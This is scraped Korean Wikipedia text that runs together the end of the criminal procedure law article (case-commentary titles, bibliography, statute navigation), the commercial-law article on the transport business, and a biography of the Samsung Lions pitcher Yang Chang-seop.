대한 불복방법, 재판서 경정의 요건 / 미결구금일수 과다산입 사건 변호인 접견권의 한계 / 대기실 접견신청 사건 미결구금일수의 전부 통산 / 형법 57조 위헌결정 사건 증언거부권 불고지의 법적 효과 / 쌍방상해 위증 사건 간통 종용과 고소의 유효조건 / 위자료 청구 인낙 사건 항소이유와 직권판단의 관계 / 도리어 감경 사건 공범인 공동피고인의 허위진술 / 게임방 종업원 공동피고인 사건 사인 수집 증거와 위법수집증거배제법칙 / 배우자 원룸 침입 사건 법률의 개정과 공소시효 / 특가법 포탈세액 개정 사건 즉고발사건과 고소불가분의 원칙 / 리니언시 고발 사건 위드마크 측정과 증거능력, 과학공식 사용과 엄격한 증명 / 사고 직후 소주 마시기 사건 몰수․추징과 상소불가분의 원칙 / 향정의약품 매매 알선 사건 상고이유서 기재방법 / 10억 원 합의서 날인 사건 문서위조죄와 공소사실의 특정 / 외국대학 박사학위기 사건 참고인 조사자 증언의 증거능력, 진술번복 용 진술조서의 증거능력 / 회칼 협박 특수강간 사건 즉결심판절차와 공소장일본주의 / 정재청구 후 조서작성 사건 친고죄와 고소불가분의 원칙 / 나이키 포스터 현수막 사건 헌법불합치결정과 무죄판결 / 집시법 헌법불합치결정 사건 특별사법경찰관리의 수사권한, 즉고발사건 고발의 법적 성질 / 출입국관리소장 고발 사건 판단유탈과 직권파기 / 세신업자 고소 사건 공판중심주의와 실질적 직접심리주의, 제1심과 항소심의 관계 / 잠든 청소년 항거불능 사건 피고인진술조서의 증거능력, 진술거부권의 적용범위, 위법수집증거배제법칙과 주장적격 문제 / 공범사건, 피고인 진술조서 사건 상상적 경합범의 일부 상소 / 중대장 심의기구 무고 사건 공소취소와 재기소금지의 범위 / 세금계산서 합계표 사건 상급심 판단의 기속력 / 동업자 부인 공갈 사건 현행범체포시의 압수와 사후영장, 마약류범죄와 공소사실의 특정 / 인터넷 스와핑 카페 사건 정당 대표의 당사자능력 / 정당 대표 기소 사건 공소장변경의 필요성 / 비례대표 추천 대가 사건 위법수집증거의 예외적 허용, 진술거부권 불고지와 2차 증거의 증거능력 / 가방 강도 자백 사건 공소제기의 방식 / ‘공소장으로 갈음’ 사건 공소장변경의 허용한계, 실체적 경합범과 파기의 범위 / 태안 기름유출 사건 검사 수사지휘권의 한계 / 인권옹호방해죄 사건 변호인 신문참여권의 한계 / 떨어져 앉기 사건 사법경찰관의 직무범죄와 재심사유 / 조봉암 재심청구 사건 재심심판과 적용법령 / 조봉암 재심판결 사건 상소심 미결구금일수의 전부통산 / 형소법 482조 헌법불합치결정 사건 재정신청 이유기재와 재판청구권 / 형소법 260조 4항 위헌소원 사건 재정신청 기각결정에 대한 불복 / 형소법 262조 4항 한정위헌 사건 고소취소기한 제한과 평등권 / 형소법 232조 위헌소원 사건 형사항소심의 구조 / 파기자판 위헌 시비 사건 법정경찰권과 소송지휘권의 차이 / 녹음불허 불복 사건 적용법조 누락과 하자의 치유 / 집시법 해산명령 사건 기소결정의 위법과 불복방법 / 버스 경매 배당이의 사건 위법수집증거배제법칙의 원칙과 예외 / 구속영장 미제시 사건 강제채혈과 위법수집증거배제법칙 / 응급실 강제채혈 사건 과학적 연구결과와 엄격한 증명 / 사료용 표시 색소 사건 몰수․추징액 산정과 엄격한 증명 / 중국 선박운항허가 로비 사건 영상데이터와 유체물 / 음란 위성방송 시청 사건 허위사실 인식의 거증책임 / 자동차 과급기 특허분쟁 사건 친고죄 고소취소와 소송능력 / 법정대리인 동의 논란 사건 사경 면전 공범 피의자신문조서의 증거능력 / 50일 후 공범 사망 사건 위법수집증거배제법칙과 주장적격 / 성매매 용의자 강제연행 사건 변호사의 증언거부권과 형소법 제314조 / 법무법인 의견서 사건 공소사실의 특정 정도, 고발사실의 특정 정도, 공소장변경의 필요성 / 금지금 폭탄영업 사건 공소장일본주의 위반의 법적 효과 / 14쪽짜리 공소장 사건 간통죄 고소의 유효조건 / 고소인 재차 혼인 사건 간통죄 고소의 취소시점 / 환송 후 고소취소 사건 반대신문권의 보장과 책문권 포기 / 퇴정 피고인 반대신문권 사건 임의제출물 압수의 요건 / 피해자 쇠파이프 제출 사건 공소제기 후의 강제수사 / 100만 원 자기앞수표 뇌물 사건 공소장변경 없는 직권판단 / 농지법 위반 이중매매 사건 긴급체포시의 압수 요건 / 외사과 경찰관 압수 사건 양형기준의 법적 성질 / 양형기준 소급적용 사건 허위사실의 증명방법 / 유학원 설명회 사건 범죄사실의 동일성 판단기준 / 노점상 자리 다툼 사건 간통고소의 고소권자 / 식물인간 배우자 사건 국민참여재판과 항소심의 관계 / 금목걸이 강취 참여재판 사건 확정판결 효력범위의 판단기준 / 보험사기 후속 기소 사건 체포와 무영장 압수․수색 / 집 앞 20m 체포 사건 녹취록의 증거능력 인정요건 / 병원 감금 각서 강요 사건 국민참여재판을 받을 권리 / 기한 도과 후의 의사확인서 사건 국선변호인의 조력을 받을 권리 / 국선변호인 항소이유서 미제출 사건 정보저장매체 압수수색 방법 / 전교조 이메일 사건 통신제한조치 연장과 통신의 비밀 / 통비법 제8조 위헌소원 사건 고발사건 검찰재항고와 헌법소원 / 호반 주택 고발 사건 기소유예처분과 헌법소원 / 비뇨기과 병원장 사건 증거개시명령 불복과 헌법소원 / 용산참사 헌법소원 사건 구속사유와 구속의 필요성 / 형소법 70조 2항 위헌소원 사건 변론병합의 법적 성질 / 화물운송회사 지입차량 사건 형소법 제314조의 적용요건 / 필로폰 구매자 소재불명 사건 양형조사의 법적 성질 / 법원 조사관 보고서 사건 부적법 상고이유서와 상고기각결정 / 벌금 감액 요청 사건 목적범과 검사의 증명책임 / 실천연대 자료집 사건 형벌법규 위헌결정과 소급효 / 특경법 합헌결정 번복 사건 재심사건에 대한 적용법령, 위헌법령과 무죄판결, 통치행위에 대한 사법판단 / 긴급조치 위헌무효 사건 포괄일죄의 동일성 판단기준 / 스포츠 마사지 약식명령 사건 양형기준과 항소심 판단방법 / 항소심 양형기준 이탈 사건 녹취록의 증거능력 / 학부모 정신병 발언 사건 과형상 일죄와 과형상 수죄 / 농협 선거용 조합원 교육 사건 확정판결의 분리 / 공익요원 무단결근 사건 일부상소의 법적 효과, 확정판결과 경합범의 분리 / 공무방해 마약사범 사건 문서사본의 증거능력 / 노동조합 업무수첩 사건 고의 입증과 자백의 보강법칙 / ‘운전하지 못할 우려’ 사건 고소대리의 허용범위 / 피고인 처 합의서 사건 자유심증주의의 한계 / 유리컵 상해 사건 통역인의 제척사유 / 사실혼관계 통역인 사건 직권 사실인정과 석명권 행사 / 유사성교 직권인정 사건 항소이유 철회의 효과 / ‘양형부당 남기고 철회’ 사건 전자장치 부착명령과 불이익변경금지 / ‘친딸이라는 이유’ 사건 비상상고와 파기자판 / 보호관찰 밖 부착명령 사건 무죄추정원칙의 적용범위 / 지방자치법 헌법불합치결정 사건 즉시항고와 재판받을 권리 / 항소기각결정 즉시항고 사건 재심절차의 구조 / 재심청구 변호사 위헌제청 사건 부수처분과 판결파기의 범위 / 공개명령 부칙 확대실시 사건 공소장변경과 공소사실의 동일성 / 차용금 대 투자금 사건 공시송달과 불출석재판 / 1회 공시송달 재판 사건 택일관계와 범죄사실의 단일성 / 인테리어 공사업자 사건 확정판결과 범죄사실의 동일성 / 무허가 주택조합 청약권 사건 임의제출물의 압수 방법, 감정절차의 적법성, 과학적 증거방법의 증명력, 간접사실에 의한 증명 / 방호벽 2차 충돌 사건 친족상도례와 친족의 범위 / 사돈간 사기 사건 현행범 체포의 요건 / 경찰관 모욕 체포 사건 외국 수사와 위법수집증거배제법칙, 참고인 진술조서의 증거능력, 수사보고서의 증거능력 / 과테말라 출장 수사 사건 친고죄와 고소불가분의 원칙, 항소이유의 철회 방법, 부착명령사건과 상소 의제 / 편의점 앞 여아 사건 외국인의 국외범과 재판권 / 캐나다 교포 선물투자 사건 상고이유의 상호관계, 치료감호사건과 상소 의제 / 치료감호 상소이익 사건 국민참여재판을 받을 권리와 의사확인 / 7일 전 공판 진행 사건 체포시 권리고지의 시점 / 법원 앞 옥외집회 사건 진술거부권의 발생시점 / 청도발 인천행 필로폰 사건 유죄 확정된 사람과 증언거부권 / ‘재심청구 예정’ 사건 자수 주장에 대한 판단 요부 / 차용금 주장 번복 사건 토지관할과 현재지의 요건 / 소말리아 해적 사건 한국의 형사소송법은 대륙법계의 전통을 따르고 있어서, 독일, 일본의 형사소송법과 비슷하다.[1] 관련문헌[편집] 위키문헌에 이 글과관련된 원문이 있습니다. 형사소송법 (대한민국) 이재상, 『신형사소송법(제2판)』, 박영사, 2009 배종대, 이상돈, 『형사소송법』, 홍문사, 1996 이재상, 『형사소송법(제6판)』, 박영사, 2002 신동운, [판례분석]신형사소송법Ⅱ, 법문사, 2012. 이재흥, “한국과 미국의 형사소송절차의 비교”, 법조 39권 7, 8호 (통권 406, 407호) 차동언, “미국의 형사소송제도 -워싱턴 주를 중심으로-”, 사법행정(1993. 3.) 표성수, 『영미형사사법의 구조』, 비봉출판사, 2004 이상윤, 『영미법 - 개정판』, 박영사, 2000. (ISBN 8910451602) 강구진, 형사소송법원론(1982) 권요병, 형사소송법(1967) 김기두, 형사소송법(1985) 김영환, 형사소송법 강의(2009) 노규호, 형사소송법판례(2009) 노명선, 형사소송법 사례연구(2008) 노명선 · 이완규, 형사소송법(2009) 배종대 • 이상돈 • 정승환, 형사소송법(2009) 백형구, 알기쉬운 형사소송법 (2008) 백형구 조해 형사소송법(2002) 백형구, 형사소송법강의(2001) 법무부, 개정형사소송법(2007) 법원행정처, 법원실무제요 형사 I (2008) 법원행정처, 법원실무제요 형사 II (2008) 법원행정처, 형사소송법 개정법률 해설(2007) 사법개혁추진위원회, 형사소송법 셜명자료(2007) 사법연수원, 형사증거법 및 사실인정론(2009) 손동권, 형사소송법 (2008) 송광섭, 형사소송법(2003) 신동운, 간추린 신형사소송법(2008) 신동운, 신형사소송법 (2009) 신동운, 판례분석 신형사소송법(2007) 신동운, 형사소송법 4판(2007) 신양균, 형사소송법 (2009) 신현주, 형사소송법(2002) 심회기, 형사소송법의 쟁점(2004) 심회기 · 양동철, 신형사소송법판례(2009) 심희기 · 양동철, 쟁점강의 형시소송법(2009) 이완규, 개정형사소송법의 쟁점(2007) 이영란, 한국형사소송법(2008) 이재상, 신형사소송법 (2009) 이재상, 신형사소송법 연습(2009) 임동규, 형사소송법 (2009) 정영석, 형사소송법 (1984) 정영석 · 이형국, 형사소송법(1996) 정웅석, 형사소송법 (2006) 정웅석 · 백숭민, 형사소송법 (2010) 진계호, 형사소송법(2004) 조두영, 소송물론{2005) 차용석, 형사소송법(1997) 차용석 · 최용성, 형사소송법(2009) 한인섭(편), 재심 · 시효 • 인권(2007) 지송이재상교수정년기념논문집 간행위원회, 형사판례의 연구 II 지송이재상교수화갑기념논문집 간행위원회, 한국형사법학의 신전개 형사판례연구회, 형사판례연구 [1권]~[17권] 각주[편집] ↑ “한국 검찰 견제할 시민 기구 필요하다” - 시사IN Live| vdeh법법의 분류 헌법 행정법 민법 상법 형법 민사소송법 형사소송법 노동법 국제법 (조약) 국제사법 법체계 법계 로마법 만민법 게르만법 종교법 대륙법 영미법 법의 연원성문법 헌법 법률 명령 규칙 조례 조약 불문법 관습법 판례 조리 법학 법철학 법사회학 법제사학 비교법학 법해석학 법정책학 법의학 주요 개념일반 국가 인권 사법 공법 실체법 절차법 일반법과 특별법 기본법과 개별법 권리 의무 능력 선의 악의 고의 과실 헌법 기본권 관습 헌법 민법 사적 자치의 원칙 신의성실의 원칙 인 물건 의사표시 법률행위 불법행위 물권 채권 강제이행 손해배상 상법 상인 상행위 회사 주식 주권 형법 범죄 형벌 구성요건 위법성 책임 정범 공범 vdeh대한민국 형사소송법vdeh제1편 총칙 제1편 총칙 제2편 제1심 제3편 상소 제4편 특별소송절차 제1장 법원의 관할 제1조 제2조 제3조 제4조 제5조 제6조 제7조 제8조 제9조 제10조 제11조 제12조 제13조 제14조 제15조 제16조 제16조의2 제2장 법원직원의 제척, 기피, 회피 제17조 제18조 제19조 제20조 제21조 제22조 제23조 제24조 제25조 제3장 소송행위의 대리와 보조 제26조 제27조 제28조 제29조 제4장 변호 제30조 제31조 제32조 제32조의2 제33조 제34조 제35조 제36조 제5장 재판 제37조 제38조 제39조 제40조 제41조 제42조 제43조 제44조 제45조 제46조 제6장 서류 제47조 제48조 제49조 제50조 제51조 제52조 제53조 제54조 제55조 제56조 제56조의2 제57조 제58조 제59조 제59조의2 제59조의3 제7장 송달 제60조 제61조 제62조 제63조 제64조 제65조 제8장 기간 제66조 제67조 제9장 피고인의 소환, 구속 제68조 제69조 제70조 제71조 제71조의2 제72조 제73조 제74조 제75조 제76조 제77조 제78조 제79조 제80조 제81조 제82조 제83조 제84조 제85조 제86조 제87조 제88조 제89조 제90조 제91조 제92조 제93조 제94조 제95조 제96조 제97조 제98조 제99조 제100조 제100조의2 제101조 제102조 제103조 제104조 제104조의2 제105조 제10장 압수와 수색 제106조 제107조 제108조 제109조 제110조 제110조 제111조 제112조 제113조 제114조 제115조 제116조 제117조 제118조 제119조 제120조 제121조 제122조 제123조 제124조 제125조 제126조 제127조 제128조 제129조 제130조 제131조 제132조 제133조 제134조 제135조 제136조 제137조 제138조 제11장 검증 제139조 제140조 제141조 제142조 제143조 제144조 제145조 제12장 증인신문 제146조 제147조 제148조 제149조 제150조 제150조의2 제151조 제152조 제153조 제154조 제155조 제156조 제157조 제158조 제159조 제160조 제161조 제161조의2 제162조 제163조 제163조의2 제164조 제165조 제165조의2 제166조 제167조 제168조 제13장 감정 제169조 제170조 제171조 제172조 제172조의2 제173조 제174조 제175조 제176조 제177조 제178조 제179조 제179조의2 제14장 통역과 번역 제180조 제181조 제182조 제183조 제15장 증거보전 제184조 제185조 제16장 소송비용 제186조 제187조 제188조 제189조 제190조 제191조 제192조 제193조 제194조 제194조의2 제194조의3 제194조의4 제194조의5 vdeh제2편 제1심 제1편 총칙 제2편 제1심 제3편 상소 제4편 특별소송절차 제1장 수사 제195조 제196조 제197조 제198조 제198조의2 제199조 제200조 제200조의2 제200조의3 제200조의4 제200조의5 제200의6 제201조 제201조의2 제202조 제203조 제203조의2 제204조 제205조 제206조 제207조 제208조 제209조 제210조 제210조 제211조 제212조 제212조의2 제213조 제213조의2 제214조 제214조의2 제214조의3 제214조의4 제215조 제216조 제217조 제218조 제218조의2 제219조 제220조 제221조 제221조의2 제221조의3 제221조의4 제222조 제223조 제224조 제225조 제226조 제227조 제228조 제229조 제230조 제231조 제232조 제233조 제234조 제235조 제236조 제237조 제238조 제239조 제240조 제241조 제242조 제243조 제244조 제244조의2 제244조의3 제244조의4 제244조의5 제245조 제245조의2 제245조의3 제245조의4 제2장 공소 제246조 제247조 제248조 제249조 제250조 제251조 제252조 제253조 제254조 제255조 제256조 제256조의2 제257조 제258조 제259조 제259조의2 제260조 제261조 제262조 제262조의2 제262조의3 제262조의4 제263조 제264조 제264조의2제265조 제3장 공판제1절 공판준비와 공판절차 제266조 제266조의2 제266조의3 제267조 제267조의2 제268조 제269조 제270조 제271조 제272조 제273조 제274조 제275조 제275조의2 제275조의3 제276조 제276조의2 제277조 제277조의2 제278조 제279조 제279조의2 제279조의3 제279조의4 제279조의5 제279조의6 제279조의7 제279조의8 제280조 제281조 제282조 제283조 제283조의2 제284조 제285조 제286조 제286조의2 제286조의3 제287조 제288조 제289조 제290조 제291조 제291조의2 제292조 제292조의2 제292조의3 제293조 제294조 제294조의2 제294조의3 제294조의4 제295조 제296조 제296조의2 제297조 제297조의2 제298조 제299조 제300조 제301조 제301조의2 제302조 제303조 제304조 제305조 제306조 제2절 증거 제307조 제308조 제308조의2 제309조 제310조 제310조의2 제311조 제312조 제313조 제314조 제315조 제316조 제317조 제318조 제318조의2 제318조의3 제3절 공판의 재판 제318조의4 제319조 제320조 제321조 제322조 제323조 제324조 제325조 제326조 제327조 제328조 제329조 제330조 제331조 제332조 제333조 제334조 제335조 제336조 제337조 vdeh제3편 상소 제1편 총칙 제2편 제1심 제3편 상소 제4편 특별소송절차 제1장 통칙 제338조 제339조 제340조 제341조 제342조 제343조 제344조 제345조 제346조 제347조 제348조 제349조 제350조 제351조 제352조 제353조 제354조 제355조 제356조 제2장 항소 제357조 제358조 제359조 제360조 제361조 제361조의2 제361조의3 제361조의4 제361조의5 제362조 제363조 제364조 제364조의2 제365조 제366조 제367조 제368조 제369조 제370조 제3장 상고 제371조 제372조 제373조 제374조 제375조 제376조 제377조 제378조 제379조 제380조 제381조 제382조 제383조 제384조 제385조 제386조 제387조 제388조 제389조 제389조의2 제390조 제391조 제392조 제393조 제394조 제395조 제396조 제397조 제398조 제399조 제400조 제401조 제4장 항고 제402조 제403조 제404조 제405조 제406조 제407조 제408조 제409조 제410조 제410조 제411조 제412조 제413조 제414조 제415조 제416조 제417조 제418조 제419조 vdeh제4편 특별소송절차 제1편 총칙 제2편 제1심 제3편 상소 제4편 특별소송절차 제1장 재심 제420조 제421조 제422조 제423조 제424조 제425조 제426조 제427조 제428조 제429조 제430조 제431조 제432조 제433조 제434조·제435조 제436조 제437조 제438조 제439조 제440조 제2장 비상상고 제441조 제442조 제443조 제444조 제445조 제446조 제447조 제3장 약식절차 제448조 제449조 제450조 제451조 제452조 제453조 제454조 제455조 제456조 제457조 제458조 제5편 재판절차 제459조 제460조 제461조 제462조 제463조 제464조 제465조 제466조 제467조 제468조 제469조 제470조 제471조 제472조 제473조 제474조 제475조 제476조 제477조 제478조 제479조 제480조 제481조 제482조 제483조 제484조 제485조 제486조 제487조 제488조 제489조 제490조 제491조 제492조 제493조 제494조 제495조 제496조 제497조 제498조 제499조 제500조 제501조 제502조 부칙 대한민국 형사소송법 부칙 제1조 대한민국 형사소송법 부칙 제2조 전거 통제 GND: 4116635-8 NDL: 00565477 원본 주소 "https://ko.wikipedia.org/w/index.php?title=형사소송법&oldid=24158343" 분류: 형사법형사소송법대한민국의 형법숨은 분류: 일부 지역만을 다루는 글/2016년 9월일부 지역만을 다루는 모든 글전체에 세계화가 필요한 글깨진 링크를 가지고 있는 문서GND 식별자를 포함한 위키백과 문서 둘러보기 메뉴 개인 도구 로그인하지 않음토론기여계정 만들기로그인 이름공간 문서토론 변수 보기 읽기편집역사 보기 더 보기 검색 둘러보기 대문사용자 모임요즘 화제최근 바뀜모든 문서 보기임의 문서로도움말기부 도구 여기를 가리키는 문서가리키는 글의 최근 바뀜파일 올리기특수 문서 목록고유 링크문서 정보위키데이터 항목이 문서 인용하기 인쇄/내보내기 책 만들기PDF로 다운로드인쇄용 판 다른 언어 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운송업 - 위키백과, 우리 모두의 백과사전 운송업 위키백과, 우리 모두의 백과사전. 둘러보기로 가기 검색하러 가기 운송업이란 육상 또는 호천, 항만에서 물건 또는 여객의 운송을 영업으로 하는 것을 말한다[1]. 운송업은 원래 해상운송으로부터 발달하였다. 운송행위가 이루어지는 장소에 따라 육상운송·해상운송·항공운송으로 나눌 수 있는바, 상법은 육상운송에 관하여 상행위편에 '운송업'으로 규정하고 해상운송에 관하여는 운송용구·방법·위험성 등의 특이한 성질이 큰 점을 감안하고,또한 해상운송법의 연혁적 사유(독자성) 때문에 5편으로 따로 분리·규정하였다. 항공운송에 관하여서는 항공법과 동시행령 이외에는 계약관계에 관한 별도의 입법이 없으므로 운송업과 해상법 규정을 유추적용할 수밖에 없고, 그 운송의 도구 및 위험성 등의 특수성에 따라 해상운송에 준(準)한 취급을 하는 것이 보통이다. 목차 1 의무 1.1 운송물의 처분의무 1.2 운송물인도의무 2 권리 3 손해배상책임 3.1 정액배상주의 3.2 고가물특칙 3.3 책임의 단기소멸 4 수하인의 지위 5 화물상환증 6 순차운송 7 여객운송 7.1 손해배상책임 7.1.1 여객이 받은 손해의 책임 7.1.2 여객의 수하물에 발생한 손해의 배상책임 8 조문 9 각주 10 참고문헌 11 같이 보기 의무[편집] 선관주의의무[2], 운송물처분의무[3], 화물상환증교부의무[4], 손해배상책임[5] 등이 있다. 운송물의 처분의무[편집] 송하인 또는 화물상환증 소지인은 운송 도중에 또는 수하인이 권리행사를 하기 전에 운송인에 대하여 운송의 중지, 운송물의 반환 기타의 처분을 청구할 수 있다[3]. 송하인 또는 화물상환증소지인의 이같은 권리를 운송물의 처분권 또는 지시권이라고 하며, 이 청구에 응해야 하는 운송인의 의무를 처분의무라 한다. 원래 도급계약에서 도급인은 수급인이 일을 완성하기 전에 손해를 배상하고 계약을 해제할 수 있다[6].위 송하인 등의 처분권의 행사는 우송의 완료 전에 하는 것이므로 도급계약의 일반원칙에 비추어 본다면 운송계약의 해제로 이해할 수 있을 것이다. 그러나 처분권은 상법이 운송의 특수성을 고려하여 특칙으로 인정한 권리로서 이를 행사하더라도 운송계약이 인정되는 것은 아니고, 따라서 송하인 등의 손해배상책임도 발생하지 않는다. 운송물인도의무[편집] 운송물의 인도는 민법에서의 인도와 동일한 개념이다. 즉 운송물을 수하인의 점유, 즉 사실상의 지배 하에 옮겨주는 것을 말한다[7]. 민법상으로는 목적물반환청구권의 양도에 의한 인도도 인도의 일종으로 보지만[8], 운송게약상의 특약이 없는 한 목적물반환청구권의 양도에 의한 인도를 항상 적법한 인도라고 말할 수는 없다는 주장도 있다.이는 운송인이 자신이 편리한 장소에 임치하고 수하인에게 인도청구권을 이전해 준다면 수하인이 다시 인취하여 운송해야 하는 부담을 주기 때문이다. 권리[편집] 손해배상책임[편집] 정액배상주의[편집] 고가물특칙[편집] 화폐, 유가증권, 그 밖의 고가물에 대하여는 고객이 그 종류와 가액을 명시하여 임치하지 아니하면 공중접객업자는 그 물건의 멸실 또는 훼손으로 인한 손해를 배상할 책임이 없다.[9] 특히 고가물을 영업주에게 임치해야만 책임을 물을 수 있고, 단지 고가물임을 명시하고 고객이 계속 점유한다면 영업주의 책임을 물을 수 없다는 점을 주의해야 한다. 책임의 단기소멸[편집] 수하인의 지위[편집] 화물상환증[편집] 순차운송[편집] 여객운송[편집] 여객운송이란 운송업의 하나로 육상 또는 호천, 항만에서 여객의 운송을 영업으로 하는 것을 말한다. 손해배상책임[편집] 운송인은 자기 또는 사용인이 운송에 관한 주의를 해태하지 아니하였음을 증명하지 아니하면 여객이 운송으로 인하여 받은 손해를 배상할 책임을 면하지 못한다[10]. 여객이 받은 손해의 책임[편집] 대구 지하철 화재 참사에서 화재가 난 뒤 전동차의 출입문이 열리지 않았고 승강장 내 스프링클러 미설치 등 방재시설 및 안전시설 미비는 주의를 게을리 한 것으로 볼 수 있어 다운송인에 해당하는 대구지하철공사나 대구시를 상대로 운송에 관한 주의를 게을리 했다는 것을 입증하면 여객이 받은 손해를 배상받을 수 있다[11]. 여객의 수하물에 발생한 손해의 배상책임[편집] 운송인은 여객으로부터 인도를 받은 수하물에 관하여는 운임을 받지 아니한 경우에도 물건운송인과 동일한 책임이 있다[12]. 조문[편집] 각주[편집] ↑ 상법 제125조 ↑ 민법 제681조 ↑ 가 나 상법 제139조 ↑ 상법 제128조 제1항 ↑ 상법 제135조 ↑ 민법 673조 ↑ eoqjqdnjs 1996.3.12. 선고 94다55057판결 ↑ 민법 190조 ↑ 상법 153조 ↑ 상법 제148조 ↑ <대구지하철 참사>市,지하철公상대 소송 가능 2003-02-19 2003-02-19 ↑ 상법 제149조 참고문헌[편집] 이철송,상법총칙•상행위,(서울: 박영사, 2014) 같이 보기[편집] 화물상환증 여객운송 해상운송 항공운송 vdeh상행위 대리상 중개업 위탁매매업 운송주선업 운송업 공중접객업 창고업 금융리스업 가맹업 채권매입업 이 문서에는 다음커뮤니케이션(현 카카오)에서 GFDL 또는 CC-SA 라이선스로 배포한 글로벌 세계대백과사전의 내용을 기초로 작성된 글이 포함되어 있습니다. 원본 주소 "https://ko.wikipedia.org/w/index.php?title=운송업&oldid=19617101" 분류: 상법숨은 분류: 글로벌세계대백과를 인용한 문서 둘러보기 메뉴 개인 도구 로그인하지 않음토론기여계정 만들기로그인 이름공간 문서토론 변수 보기 읽기편집역사 보기 더 보기 검색 둘러보기 대문사용자 모임요즘 화제최근 바뀜모든 문서 보기임의 문서로도움말기부 도구 여기를 가리키는 문서가리키는 글의 최근 바뀜파일 올리기특수 문서 목록고유 링크문서 정보위키데이터 항목이 문서 인용하기 인쇄/내보내기 책 만들기PDF로 다운로드인쇄용 판 다른 언어 링크 추가 이 문서는 2017년 9월 17일 (일) 17:18에 마지막으로 편집되었습니다. 모든 문서는 크리에이티브 커먼즈 저작자표시-동일조건변경허락 3.0에 따라 사용할 수 있으며, 추가적인 조건이 적용될 수 있습니다. 자세한 내용은 이용 약관을 참고하십시오.Wikipedia®는 미국 및 다른 국가에 등록되어 있는 Wikimedia Foundation, Inc. 소유의 등록 상표입니다. 개인정보 정책 위키백과 소개 면책 조항 개발자 쿠키 정책 모바일 보기
양창섭 - 위키백과, 우리 모두의 백과사전 양창섭 위키백과, 우리 모두의 백과사전. 둘러보기로 가기 검색하러 가기 양창섭 Yang Chang-Seop 삼성 라이온즈 No.15 기본 정보 국적 대한민국 생년월일 1999년 9월 22일(1999-09-22) (19세) 출신지 대한민국 서울특별시 신장 182 cm 체중 85 kg 선수 정보 투구·타석 우투우타 수비 위치 투수 프로 입단 연도 2018년 드래프트 순위 2018년 2차 1라운드 (삼성 라이온즈) 첫 출장 KBO / 2018년 3월 28일 광주 대 KIA전 선발 계약금 2억 6,000만원 연봉 7,000만원 (2019년) 경력 삼성 라이온즈 (2018년 ~ 현재) 대한민국 국가대표팀 월드컵 U18 2017년 선더베이 아시아 U18 2016년 타이중 양창섭(梁敞涉, 1999년 9월 22일 ~ )은 KBO 리그 삼성 라이온즈의 투수이다. 목차 1 아마추어 시절 2 삼성 라이온즈 시절 3 출신 학교 4 통산 기록 5 경력 6 수상 7 에피소드 아마추어 시절[편집] 노원구 리틀 야구단 시절부터 국가대표에 뽑혀 한일전에서 선발로 나와 활약했고, 청량중학교에 진학해 에이스로 활약했다. 덕수고등학교 1학년 때는 많은 경기에 나서지 못했지만, 2학년 때부터 팀의 에이스이자 전국구 에이스로 활약했다. 2학년 시절 팀의 황금사자기, 청룡기에서 우승으로 이끌었다. 2학년 때는 청소년 국가대표에 뽑혀 활약했다. 3학년 때도 역시 팀의 에이스로 활약하며 황금사자기 팀의 우승을 이끌었다. 이후 경기에는 체력 안배 차원에서 많은 경기에는 나서지 않았다. 청소년 국가대표에서 에이스로 맹활약했다. 이 활약을 바탕으로 신인 드래프트에서 전체 2순위로 삼성 라이온즈에 지명됐다. 삼성 라이온즈 시절[편집] 2018년 신인 드래프트에서 2차 1라운드(전체 2순위)로 지명됐고 2017년 10월 10일에 연봉 2,700만원, 계약금 2억 6,000만원에 계약했다. 스프링캠프에 신인 중 최채흥, 김태우와 함께 참가했다. 애초에는 최채흥이 5선발 후보였고, 그는 아직 고졸 신인이기 때문에 불펜으로 시작할 예정이었지만 스프링 캠프 기간동안 5선발 후보였던 최채흥이 6이닝 14실점으로 부진했고, 그는 7이닝 1실점, 평균자책점 0으로 호투해 5선발 후보로 언급됐다. 2018년 3월 13일에 열린 kt 위즈와의 시범 경기 개막전에서 선발 등판해 4이닝 동안 4볼넷, 3탈삼진을 기록했다. 특히나 고교 시절 라이벌이자 주목받는 신인인 강백호와의 맞대결에서 강한 모습을 보였다. 시범 경기 후 4선발로 낙점됐다. 2018년 3월 28일 KIA 타이거즈와의 경기에 선발 등판하며 데뷔 첫 경기를 치렀고, 경기에서 6이닝 무실점으로 퀄리티스타트를 기록하며 데뷔 첫 승을 기록했다. 이는 KBO 리그 역대 6번째 고졸 신인 데뷔 전 선발 승이었으며, 역대 최연소 데뷔전 선발승 (만 18세 6개월 6일)이기도 했다. KIA 타이거즈와의 경기에서 좋은 모습을 보여주면서 '기나쌩'이라고 불렸다. 시즌 막판에는 불펜 투수로도 등판했다. 2019시즌을 앞두고 시범경기에서 좋지 않은 모습을 보였다. 그러던 중 팔꿈치에 문제가 생기면서 수술을 하게 되면서 시즌 아웃이 되었다. 2020시즌에 돌아올 예정이다. 출신 학교[편집] 서울녹천초등학교 (노원리틀) 청량중학교 덕수고등학교 통산 기록[편집] 연도 팀명 평균자책점 경기 완투 완봉 승 패 세 홀 승률 타자 이닝 피안타 피홈런 볼넷 사구 탈삼진 실점 자책점 2018 삼성 5.05 19 0 0 7 6 0 0 0.538 400 87.1 100 12 34 10 49 52 49 통산 1시즌 5.05 19 0 0 7 6 0 0 0.538 400 87.1 100 12 34 10 49 52 49 경력[편집] 2016년 아시아 청소년 야구 선수권 대회 국가대표 2017년 제 28회 세계 청소년 야구 선수권 대회 국가대표 수상[편집] 2014년 전국 중학 야구 선수권 대회 최우수 선수상 2016년 황금사자기 전국 고교 야구 대회 겸 주말 리그 왕중왕전 최우수 선수상, 청룡기 전국 고교 야구 선수권 대회 겸 주말 리그 왕중왕전 우수 투수상 2017년 황금사자기 전국 고교 야구 대회 겸 주말 리그 왕중왕전 최우수 선수상 에피소드[편집] 황금사자기 역사상 두 번째로 2년 연속 최우수 선수상을 수상했다. vdeh삼성 라이온즈 - 현재 명단감독 86 김한수 코치 82 김태한 (수석) 76 이영수 (타격) 78 강봉규 (타격) 79 박진만 (수비) 85 최태원 (작전) 88 오치아이 (투수) 90 권오원 (트레이닝) 91 정현욱 (불펜) 96 진갑용 (배터리) 97 강명구 (주루) 99 황두성 (트레이닝) -- 시라사카 (트레이닝) 퓨처스 감독 84 성준 퓨처스 코치 72 이윤효 (작전) 74 박재현 (주루) 75 조규제 (투수) 77 김종훈 (타격) 98 채상병 (배터리) 육성군 코치 70 신동주 (타격) 71 조동찬 (수비) 89 이정식 (배터리) 94 조진호 (투수) 투수 00 홍정우 1 윤성환 2 우규민 11 정인욱 13 맥과이어 15 양창섭 17 김대우 19 정광운 20 이승현 26 장필준 27 한기주 29 백정현 35 헤일리 40 최지광 43 장지훈 